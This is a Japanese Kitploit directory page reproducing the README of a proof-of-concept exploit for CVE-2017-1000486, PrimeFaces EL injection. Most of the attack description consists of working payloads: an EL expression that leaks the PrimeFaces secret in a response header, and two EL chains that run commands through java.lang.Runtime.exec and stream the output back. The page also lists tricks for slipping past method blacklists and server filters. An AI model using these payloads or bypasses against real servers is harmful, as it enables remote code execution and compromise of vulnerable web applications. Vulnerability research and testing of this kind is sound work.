Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-1000486 — CVE-2017-1000486 (PrimeFaces ELインジェクション) 用の多段階概念実証エクスプロイト。パディングオラクルによる秘密情報の取得と、リモートコード実行のためのブラックリスト回避ペイロードを備えています。 | Kitploit
ツール/GitHubGitHub/pastea/cve-2017-1000486
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubpastea/cve-2017-1000486

CVE-2017-1000486

CVE-2017-1000486 (PrimeFaces ELインジェクション) 用の多段階概念実証エクスプロイト。パディングオラクルによる秘密情報の取得と、リモートコード実行のためのブラックリスト回避ペイロードを備えています。

リポジトリを見る
414年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-1000486

これは、RCEを達成するために使用される標準関数(getClass()、exec()など)の辞書順ブラックリストチェックをバイパスし、Padding Oracleを介してPrimeFacesのシークレットを取得するために役立つペイロードを含むCVE-2017-1000486のPoCです。これにより、エクスプロイト時のノイズを可能な限り低減します。

謝辞: @pimps、@federicodotta、@AonCyberLabs の関連研究に感謝します。

説明

このPoCは、アプリケーションおよび利用可能なWebサーバーライブラリのコンテキストを分析するためのマルチステップスクリプトです。

最初に、@AonCyberLabs によって書かれた padBuster perl スクリプトを使用して、primefaces のシークレットを手動で提供しない場合にそれを取得します。これにより、後続のペイロード暗号化のためにサーバーに行うリクエスト数を減らし、全体のプロセスを高速化できます。Padding Oracle 脆弱性を悪用するのに必要な時間はペイロードのサイズに直接比例するため、最初の段階でかなり小さなペイロードに対してのみ使用することで、パフォーマンスを大幅に向上させます。 padBuster の全コードを Python に直接統合するために書き直したくないので、OS 経由のクリーンなコマンド実行でスクリプトを実行します。

ELペイロード:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}

ELコード実行を確認するために、ヘッダーインジェクションを実行するELを使用した簡単なチェックが行われます。この場合、setResponseHeader と addResponseHeader の2つのメソッドが利用可能であり、他の利用可能なメソッドは公式ドキュメントから取得できます。

ELペイロード:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}

次に、利用可能な暗黙的変数の一連のチェックが行われ、IBM WebLogic のようにすべての暗黙的変数を提供していないカスタムWebサーバーライブラリによって引き起こされる可能性のある問題を強調します。さらに、Javaランタイムのバージョンを取得し、ペイロードで可能な限り具体的にしようとします。

実際、Java <=7 では、呼び出されるメソッドにいくつかのパラメータ型の混乱があることを確認しました。これはELパーサーによる変数型の割り当てが原因だと考えられます。それを回避するために、スクリプトは getDeclaredMethods() 配列を介して特定のメソッドを参照します。この場合、使用する各メソッドの正しいインデックスを特定する必要があります。これによりペイロードのサイズは明らかに増加しますが、多くの耐障害性を提供します。

バイト配列をバッファとして作成するために、"".format("%0999d",0).getBytes() を使用して999長さのバッファを作成するか、"0000000".getBytes() を使用して7長さのバッファを作成する回避策が使用されます。

標準EL:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}

getDeclaredMethods()を使用したEL:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}

改善点

  • JSFのメソッドは、標準のJavaのドット記法 .method() だけでなく、["method"]() 参照を介して呼び出すことができます。これは、ELの復号化と実行の間のサーバー上のフィルターをバイパスするのに役立ちます。

  • getClass() は ["class"] ステートメントで代用できます。

  • facesContext.getExternalContext().getSession(true).putValue() は session.setAttribute() で代用できます。一般的なアプローチとして、すべてのマップが変数を格納するリポジトリとして使用できます。

免責事項

このツールは教育目的のみ、研究目的として提供されています。

このソフトウェアを違法または非倫理的な目的で使用することはできません。刑事または民事責任を生じさせる可能性のある活動を含みます。

使用は自己責任で行ってください。本ソフトウェアは、著作権者または貢献者によって「現状のまま」提供され、商品性および特定目的への適合性の黙示の保証を含むがこれに限定されない、明示または黙示の保証は一切否認されます。いかなる場合でも、著作権者または貢献者は、直接的、間接的、偶発的、特別、典型的、または結果的な損害に対して責任を負いません。

ツールをダウンロード